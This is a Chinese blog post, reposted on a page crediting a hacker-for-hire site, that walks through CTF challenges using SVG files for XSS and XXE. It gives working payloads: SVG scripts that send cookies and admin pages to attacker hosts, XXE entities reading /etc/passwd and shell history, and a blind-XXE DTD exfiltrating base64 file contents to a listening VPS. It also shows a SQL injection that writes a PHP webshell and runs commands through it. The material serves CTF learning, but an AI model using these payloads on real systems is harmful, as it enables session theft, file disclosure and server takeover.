当前位置:首页 > 网络安全 > 正文内容

浅谈SVG的两个黑魔法

访客4年前 (2021-04-18)网络安全819
本文首发于“合天网安实验室”作者:Kawhi

本文涉及靶场知识点:

XXE漏洞分析与实践:实验:XXE漏洞分析与实践(合天网安实验室)
XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。

前言

之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。

SVG简介

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

SVG造成XSS

直奔主题

我们在一张SVG图片里面插入一个JavaScript代码。
<svgxmlns="http://www.w3.org/2000/svg"version="1.1"><circlecx="100"cy="50"r="40"stroke="black"stroke-width="2"fill="red"/><script>alert(1)</script></svg>
我们用浏览器打开它会发现它会造成XSS。

刨根问底

为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。
那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。

CTF中的应用场景

XSSME

题目地址:https://xssrf.hackme.inndy.tw/
本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:
<script ) onmouseover 空格onload 空格onerror <iframe
我们这里可以考虑用SVG标签来进行XSS,比如:
<svg/onload=alert(1)>
这里我们可以发送到VPS测试一下是否有效
<svg/onload="document.location='http://vps-ip:1234'">
vps成功接收到信息
然后再获取cookie即可
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">

Teaser Confidence CTF 2019:Web 50

本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。
根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。
在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。
所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload
<?xml version="1.0"encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"id="Layer_1"x="0px"y="0px"width="100px"height="100px"viewBox="-12.5 -12.5 100 100"xml:space="preserve">...<g><polygon fill="#00B0D9"points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon><script type="text/javascript">var xhr =new XMLHttpRequest();xhr.onreadystatechange =function(){if(xhr.readyState ===4){var xhr2 =new XMLHttpRequest();xhr2.open("POST","http://XXXX.burpcollaborator.net/");xhr2.send(xhr.responseText);}}xhr.open("GET","http://web50.zajebistyc.tf/profile/admin");xhr.withCredentials =true;xhr.send();</script></g>...</svg>
这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:
最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。

SVG造成XXE

前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。

CTF中的应用场景

这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。

有回显的情况

svgmagic(BsidesSF CTF 2019)
github题目源码:传送门
buu平台也有上这道题目
打开页面
打开页面就提示Convert SVG to PNG with Magic
这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。
我们直接读取/etc/passwd试一下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEnote[<!ENTITY file SYSTEM "file:///etc/passwd" > ]><svgheight="100"width="1000"><textx="10"y="20">&ampfile;</text></svg>
我们把上面这段代码保存为1.svg,并上传。
可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。
还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。
最后payload如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEnote[<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]><svgheight="100"width="1000"><textx="10"y="20">&ampfile;</text></svg>
我们保存为2.svg上传,发现成功读取到flag。
无回显的情况
在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:
先在本地PHPStudy写入无回显处理XML的代码
xml.php
<?phplibxml_disable_entity_loader(false);$xmlfile=file_get_contents('php://input');$dom=newDOMDocument();$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);?>
然后在自己的VPS上放置
xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini"> <!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://ip:1234/?%file;'>">
这里有几个需要注意的点:
ip换成自己的vps的ip
这里的&amp#x25;会被xml解析成%,如果直接用%的话我本地会报错。
注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。
最后我们POST提交的payload
<?xml version="1.0"?> <!DOCTYPE Note [ <!ENTITY % remote SYSTEM "http://ip/xml.dtd"> %remote; %start; %send; ]>
这里的ip同样换成自己的vps的ip
下一步在VPS上开启监听1234端口
nc -lvp 1234
然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
  • 首先我们payload中的% remote去获取vps上的xml.dtd
  • 然后xml.dtd中的% start去调用% file
  • % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
  • 最后通过% send将数据发送到vps监听的1234端口上
  • 这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:
    svgggggg!(DozerCTF2020)
    这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。
    题目给的两个hint:
    • 用户r1ck的操作记录在哪儿来着
    • 如果你发现了sql注入,直接getshell吧,flag在/app目录里
    复现过程如下:
    打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!
    我们先写一个简单的SVG图片源码放在vps上,保存为1.svg
    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPENote[<!ENTITYfile"HELLO">]><svgxmlns="http://www.w3.org/2000/svg"height="200"width="200"><texty="20"font-size="20">&ampfile;</text></svg>
    提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件
    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPENote[<!ENTITY file SYSTEM "file:///home/r1ck/.bash_history"> ]><svgxmlns="http://www.w3.org/2000/svg"height="200"width="200"><texty="20"font-size="20">&ampfiles;</text></svg>
    页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。
    构造1.svg
    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPENote[<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd"> %remote; %start; %send; ]><svgxmlns="http://www.w3.org/2000/svg"height="200"width="200"><texty="20"font-size="20">&amplab;</text></svg>
    构造xml.dtd
    <!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://ip:1234/?%file;'>">
    然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:
    cd /app php -S 0.0.0.0:8080
    可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">
    读取到源码如下:
    <!doctype html><html><head><meta charset="UTF-8"><title>index</title></head>Hi!You Find Me .Flag is nearby.<body></body></html><?php $conn=mysql_connect('127.0.0.1','root','');mysql_select_db('security');if($_GET['id']){$id=$_GET['id'];}else$id=1;$sql="select * from user where id='$id'";$result=mysql_query($sql,$conn);$arr=mysql_fetch_assoc($result);print_r($arr);?>
    发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
    http://127.0.0.1:8080/index.php?id=-1' union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
    写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。
    读取文件目录:
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
    读取flag:
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

    总结

    SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:
    https://svg.digi.ninja/
    https://github.com/digininja/svg_xss

    参考链接

    http://yulige.top/?p=665
    https://www.rootnetsec.com/bsidessf-svgmagick/
    https://www.freebuf.com/vuls/207639.html

    扫描二维码推送至手机访问。

    版权声明:本文由黑客接单发布,如需转载请注明出处。

    本文链接:https://therlest.com/105356.html

    分享给朋友:

    “浅谈SVG的两个黑魔法” 的相关文章

    创业板投资风险揭示书,创业板风险揭示书

    保荐机构(主承销商):中泰证券股份有限公司 苏州天路光科技股份有限公司(以下简称“天路科技”、“发行人”或“公司”)首次公开发行不超过2579万股普通股(a股)(以下简称“本次发行”)的申请,已经深圳证券交易所(以下简称“深交所”)创业板上市委员会委员审议通过,并经中国证券监督管理委员会(以下...

    【紧急+重要】勒索病毒解决方案!附:MS17-010补丁下载

      滚动更新:2017年5月13日16:57:22   游侠安全网(良心网站,站长先贴上注意事项和解决方法!防止你看本文的时候就被加密了!   1、本次共计是自动化攻击,利用了Windows的MS17-010。但苹果的MacOS用户不用得意,因为在昨晚之前,我这里得到的好几起勒索攻击案例都是针对...

    干洗对衣物有害吗

    干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

    福田小货车新车价格 「福田小卡之星3柴油版」

    另一种是祥锐3360-490动力的。去二手车.发动机带涡轮增压方向助力国四3点.单排货厢3米7长,如果你不上高速,柴油车,刘巷有卖的,应该属于准新车,3W8-4W4左右。 福田时代小卡之星3全柴485」该车子才不到一年车龄,国四的价格要比这个贵1万多,不进市区的话,厢式货车贵5千元.国IV的轻卡价格...

    宝钢价格行情最新报价,宝钢股份2021年10月钢材价格

    宝钢钢材的价格:宝钢3Cr2W8V圆钢,故11、多家钢厂纷纷出台四季度价格调整方案,钢坯出口下降,月份钢材价格走势不容乐观。 要全面考虑下.关于2008年12月宝钢股份碳钢产品钢材价格国内期货销售价格调整的通知发布时间:2008-10-2014:03:06源自-宝钢股份,宝钢每月都公布下月的出厂价格...

    Webshell安全检测篇(1)-根据流量的检测方法

    一、概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分类笔者总结如下: 前段时...

    评论列表

    青迟欢烬
    3年前 (2022-05-29)

    vg>我们保存为2.svg上传,发现成功读取到flag。无回显的情况在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:先在本地PHPStudy写入无回显处理XML的代码xml.php&l

    颜于邶谌
    3年前 (2022-05-29)

    两种情况。有回显的情况svgmagic(BsidesSF CTF 2019)github题目源码:传送门buu平台也有上这道题目打开页面打开页面就提示Convert SVG to PNG with Magic这里我们首先想到的思路就是文件上传那些步骤,一

    馥妴婉绾
    3年前 (2022-05-29)

    本文首发于“合天网安实验室”作者:Kawhi本文涉及靶场知识点:XXE漏洞分析与实践:实验:XXE漏洞分析与实践(合天网安实验室)XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶

    蓝殇清淮
    3年前 (2022-05-28)

    "font-size="20">&ampfiles;</text></svg>页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了

    离鸢徒掠
    3年前 (2022-05-29)

    显的情况在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:先在本地PHPStudy写入无回显处理XML的代码xml.php<?phplibxml_disable_ent

    发表评论

    访客

    ◎欢迎参与讨论,请在这里发表您的看法和观点。